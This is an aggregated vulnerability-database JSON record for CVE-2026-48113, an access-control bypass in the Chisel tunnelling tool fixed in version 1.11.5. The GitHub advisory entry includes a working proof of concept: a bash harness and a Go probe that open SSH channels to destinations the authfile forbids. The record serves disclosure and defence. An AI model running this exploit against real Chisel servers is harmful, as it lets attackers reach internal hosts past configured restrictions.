{"id":"CVE-2026-48113","revision":null,"records":[{"revision":"0d9375ab80634f7ea4731e2d1bbf9295","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-48113","aliases":[],"title":"Chisel: ACL Bypass via Post-Handshake SSH Channel ExtraData Injection","description":"Chisel is a TCP/UDP tunnel, transported over HTTP and secured via SSH. In versions prior to 1.11.5, authenticated clients can bypass --authfile ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client can authenticate with a permitted remote, then open channels to any host:port it wants. This issue has been fixed in version 1.11.5.","state":0,"publishedAt":"2026-08-03T21:05:14.179+00:00","modifiedAt":"2026-08-04T17:04:25.711+00:00","affected":[{"ecosystem":"Vendor product","name":"chisel","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"jpillora\",\n                    \"product\": \"chisel\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.11.5\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:L","score":8.5,"severity":"HIGH"}],"references":["https://github.com/jpillora/chisel/security/advisories/GHSA-24fp-5v3p-rvpw","https://github.com/jpillora/chisel/commit/44310b65667a97901874ffdf4815b3732c22eaa3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48113","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-48113","identifiers":["CVE-2026-48113"]},"retained":false,"historicalAffected":[]},{"revision":"41bc838dc3fc4579a6ddb42a09d6f005","observedAt":"2026-10-25T12:17:26.301+00:00","statement":{"source":"nvd","id":"CVE-2026-48113","aliases":[],"title":"Chisel is a TCP/UDP tunnel, transported over HTTP and secured via SSH. In versions prior to 1.11.5, authenticated clients can bypass --authfile ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL…","description":"Chisel is a TCP/UDP tunnel, transported over HTTP and secured via SSH. In versions prior to 1.11.5, authenticated clients can bypass --authfile ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client can authenticate with a permitted remote, then open channels to any host:port it wants. This issue has been fixed in version 1.11.5.","state":0,"publishedAt":"2026-08-03T21:16:39.597+00:00","modifiedAt":"2026-10-23T21:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.5,"severity":"HIGH"}],"references":["https://github.com/jpillora/chisel/commit/44310b65667a97901874ffdf4815b3732c22eaa3","https://github.com/jpillora/chisel/security/advisories/GHSA-24fp-5v3p-rvpw"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48113","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-863"],"productCriteria":[],"sourceDates":{"published":"2026-08-03T21:16:39.597","lastModified":"2026-10-23T21:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-48113","identifiers":["CVE-2026-48113"]},"retained":false,"historicalAffected":[]},{"revision":"56905d70c3c64f04988bd26f4eb568ef","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-24fp-5v3p-rvpw","aliases":["CVE-2026-48113","GO-2026-5054"],"title":"Chisel has an ACL Bypass via Post-Handshake SSH Channel ExtraData Injection","description":"### Summary\n\nAuthenticated chisel clients can bypass `--authfile` ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client authenticates with a permitted remote, then opens channels to any `host:port` it wants.\n\n\n### Details\nThe chisel server validates user ACLs in two places but is missing validation in one of the important places.\n\nThe `server/server_handler.go` checks the ACL, during the initial config handshake:\n\n```go\nfor _, r := range c.Remotes {\n    if user != nil {\n        addr := r.UserAddr()\n        if !user.HasAccess(addr) {\n            failed(s.Errorf(\"access to '%s' denied\", addr))\n            return\n        }\n    }\n}\nr.Reply(true, nil)\n```\n\nThis validates the declared remote list from the client's config request. It runs once, at connection setup. But in `share/tunnel/tunnel_out_ssh.go` ACL aren't being checked, when the server processes actual traffic channels:\n\n```go\nfunc (t *Tunnel) handleSSHChannel(ch ssh.NewChannel) {\n    remote := string(ch.ExtraData())        // client-controlled\n    hostPort, proto := settings.L4Proto(remote)\n    sshChan, reqs, err := ch.Accept()       // accepted unconditionally\n    // ...\n    err = t.handleTCP(l, stream, hostPort)  // dials whatever client said\n}\n\nfunc (t *Tunnel) handleTCP(l *cio.Logger, src io.ReadWriteCloser, hostPort string) error {\n    dst, err := net.Dial(\"tcp\", hostPort)   // no ACL check\n    // ...\n}\n```\n\nThe `tunnel.Config` struct has no User field, no allowed-address list, and no ACL callback. The user context from `server_handler.go` is never propagated to the tunnel layer:\n\n```go\ntype Config struct {\n    *cio.Logger\n    Inbound   bool\n    Outbound  bool\n    Socks     bool\n    KeepAlive time.Duration\n    // ------- No User, no AllowedRemotes, no ACL\n}\n```\nSince `ch.ExtraData()` is fully controlled by the SSH client, any authenticated user can open channels to arbitrary destinations after passing the handshake with a permitted remote.\n\n\n### PoC\n\nDirectory structure format:\n```\npoc\n├── poc.sh\n└── probe\n    ├── go.mod\n    ├── go.sum\n    └── main.go\n```\n\n- `poc.sh`\n\n```bash\n#!/usr/bin/env bash\n\n# Requires: Go, nc (netcat)\n\nset -euo pipefail\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nREPO=\"$DIR/..\"\n\nfreeport() { python3 -c \"import socket;s=socket.socket();s.bind(('',0));print(s.getsockname()[1]);s.close()\"; }\ncleanup() { kill $SERVER $LISTENER 2>/dev/null; rm -f \"$AUTH\"; }\ntrap cleanup EXIT\n\n# Build\necho \"[*] Building...\"\n(cd \"$REPO\"       && go build -o /tmp/_chisel .)\n(cd \"$DIR/probe\"  && go build -o /tmp/_probe  .)\n\n# Ports\nSP=$(freeport); AP=$(freeport); BP=$(freeport)\necho \"[*] Server :$SP  Allowed :$AP  Blocked :$BP\"\n\n# Authfile — user:pass may only reach 127.0.0.1:$AP\nAUTH=$(mktemp)\nprintf '{\"user:pass\":[\"^127\\\\\\\\.0\\\\\\\\.0\\\\\\\\.1:%s$\"]}\\n' \"$AP\" > \"$AUTH\"\n\n# Start forbidden-target listener and chisel server\n(echo \"FORBIDDEN_TARGET_REACHED\" | nc -l 127.0.0.1 \"$BP\") & LISTENER=$!\n/tmp/_chisel server --port \"$SP\" --authfile \"$AUTH\" --key seed 2>/dev/null & SERVER=$!\nsleep 1\n\n# Exploit\nCHISEL_SERVER=\"127.0.0.1:$SP\" ALLOWED_PORT=\"$AP\" BLOCKED_PORT=\"$BP\" /tmp/_probe\n```\n\n- `main.go`\n\n```go\n// Chisel ACL bypass probe. Authenticates with an allowed remote,\n// then opens an SSH channel to a forbidden destination via ExtraData.\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/gorilla/websocket\"\n\t\"github.com/jpillora/chisel/share/cnet\"\n\t\"github.com/jpillora/chisel/share/settings\"\n\t\"golang.org/x/crypto/ssh\"\n)\n\nfunc main() {\n\tserver := os.Getenv(\"CHISEL_SERVER\")\n\tallowed := os.Getenv(\"ALLOWED_PORT\")\n\tblocked := os.Getenv(\"BLOCKED_PORT\")\n\n\t// WebSocket → net.Conn\n\tws, _, err := (&websocket.Dialer{\n\t\tHandshakeTimeout: 5 * time.Second,\n\t\tSubprotocols:     []string{\"chisel-v3\"},\n\t}).Dial(\"ws://\"+server, http.Header{})\n\tcheck(err, \"ws dial\")\n\tconn := cnet.NewWebSocketConn(ws)\n\n\t// SSH handshake\n\tsc, chans, reqs, err := ssh.NewClientConn(conn, \"\", &ssh.ClientConfig{\n\t\tUser:            \"user\",\n\t\tAuth:            []ssh.AuthMethod{ssh.Password(\"pass\")},\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t})\n\tcheck(err, \"ssh\")\n\tgo ssh.DiscardRequests(reqs)\n\tgo func() { for c := range chans { c.Reject(ssh.Prohibited, \"\") } }()\n\n\t// Send config with only the allowed remote\n\tr, _ := settings.DecodeRemote(fmt.Sprintf(\"0.0.0.0:%s:127.0.0.1:%s\", allowed, allowed))\n\tcfg, _ := json.Marshal(settings.Config{Version: \"0\", Remotes: []*settings.Remote{r}})\n\tok, reply, err := sc.SendRequest(\"config\", true, cfg)\n\tcheck(err, \"config\")\n\tif !ok {\n\t\tdie(\"config rejected: %s\", reply)\n\t}\n\tfmt.Printf(\"[+] Config accepted (only 127.0.0.1:%s allowed)\\n\", allowed)\n\n\t// Open channel to BLOCKED destination\n\ttarget := net.JoinHostPort(\"127.0.0.1\", blocked)\n\tch, cr, err := sc.OpenChannel(\"chisel\", []byte(target))\n\tif err != nil {\n\t\tfmt.Printf(\"[-] REJECTED — server refused %s\\n\", target)\n\t\tos.Exit(1)\n\t}\n\tgo ssh.DiscardRequests(cr)\n\tfmt.Printf(\"[!] ACCEPTED — channel opened to %s\\n\", target)\n\n\t// Read response from forbidden target\n\tbuf := make([]byte, 256)\n\tdone := make(chan int, 1)\n\tgo func() { n, _ := ch.Read(buf); done <- n }()\n\tselect {\n\tcase n := <-done:\n\t\tif n > 0 {\n\t\t\tfmt.Printf(\"[!] Data: %s\\n\", buf[:n])\n\t\t}\n\tcase <-time.After(3 * time.Second):\n\t}\n\tfmt.Println(\"CONFIRMED — ACL bypass: server dialed unauthorized destination\")\n\tch.Close()\n\tsc.Close()\n}\n\nfunc check(err error, ctx string) {\n\tif err != nil {\n\t\tdie(\"%s: %v\", ctx, err)\n\t}\n}\nfunc die(f string, a ...interface{}) {\n\tfmt.Fprintf(os.Stderr, f+\"\\n\", a...)\n\tos.Exit(1)\n}\n```\n\n### Impact\n\n- Complete ACL bypass: The `--authfile` address restrictions are enforceable only on paper\n-  Authenticated users can reach any host/port the server process can dial","state":0,"publishedAt":"2026-06-12T15:04:37+00:00","modifiedAt":"2026-06-17T00:26:37.4320307+00:00","affected":[{"ecosystem":"Go","name":"github.com/jpillora/chisel","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.11.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/jpillora/chisel/security/advisories/GHSA-24fp-5v3p-rvpw","https://github.com/jpillora/chisel"],"sourceUrl":"https://github.com/advisories/GHSA-24fp-5v3p-rvpw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-24fp-5v3p-rvpw","identifiers":["GHSA-24fp-5v3p-rvpw","CVE-2026-48113","GO-2026-5054"]},"retained":false,"historicalAffected":[]},{"revision":"9f13f72b8e8b4bdeaec5cf89da8d842a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5054","aliases":["CVE-2026-48113","GHSA-24fp-5v3p-rvpw"],"title":"Chisel has an ACL Bypass via Post-Handshake SSH Channel ExtraData Injection in github.com/jpillora/chisel","description":"Chisel has an ACL Bypass via Post-Handshake SSH Channel ExtraData Injection in github.com/jpillora/chisel","state":0,"publishedAt":"2026-06-16T23:55:18+00:00","modifiedAt":"2026-06-17T00:15:12.8868599+00:00","affected":[{"ecosystem":"Go","name":"github.com/jpillora/chisel","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.11.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/jpillora/chisel/security/advisories/GHSA-24fp-5v3p-rvpw"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5054","license":"OSV · upstream source license applies","key":"osv:GO-2026-5054","identifiers":["GO-2026-5054","CVE-2026-48113","GHSA-24fp-5v3p-rvpw"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T15:37:14.6597162+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T15:37:14.6597162+00:00","lastSuccessAt":"2026-10-26T15:37:14.8359072+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:37:14.835909+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-1bd091fc7fc10547d7167a606edbc49905944b97501a7ab971c3b58807479a43","complete":true,"records":414270,"lastAttemptAt":"2026-10-26T15:35:34.7444644+00:00","lastSuccessAt":"2026-10-26T15:35:34.5655912+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:35:34.7444644+00:00","snapshotPublishedAt":"2026-10-26T15:15:44+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T15:37:42.3202578+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":3564,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T15:37:14.6597162+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T15:37:14.6597162+00:00","lastSuccessAt":"2026-10-26T15:37:14.8367292+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:37:14.8367325+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f470a37230314a1cb4fdd0380273a29f","complete":true,"records":13416,"lastAttemptAt":"2026-10-26T15:37:40.3021752+00:00","lastSuccessAt":"2026-10-26T15:37:40.298+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:37:40.298+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13477,"expectedIdentifiers":13477},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c3121b113ecd88f1c92ccfa0ec9757ddc8386e4c12afd2597450b815744f800a","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T15:37:14.5249967+00:00","lastSuccessAt":"2026-10-26T15:37:14.3083004+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:37:14.5249967+00:00","snapshotPublishedAt":"2026-10-26T14:48:41+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T15:35:34.8406753+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:35:34.8406753+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-a393d8fe0ae8408f3e4cab413b76047090c8e4a3c0a186c79edf33c9a3d3af95","complete":true,"records":2995,"lastAttemptAt":"2026-10-26T15:37:14.6306288+00:00","lastSuccessAt":"2026-10-26T14:35:47.9640893+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:37:14.6306288+00:00","snapshotPublishedAt":"2026-10-26T14:18:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-e462c1c8904fe18fc1ab10d13d0abcd333d928efa63a77a5731657497361d59c","complete":true,"records":230805,"lastAttemptAt":"2026-10-26T15:37:06.3736048+00:00","lastSuccessAt":"2026-10-26T15:37:05.2219961+00:00","error":null,"lastVerifiedAt":"2026-10-26T15:37:06.3736048+00:00","snapshotPublishedAt":"2026-10-26T14:48:44+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}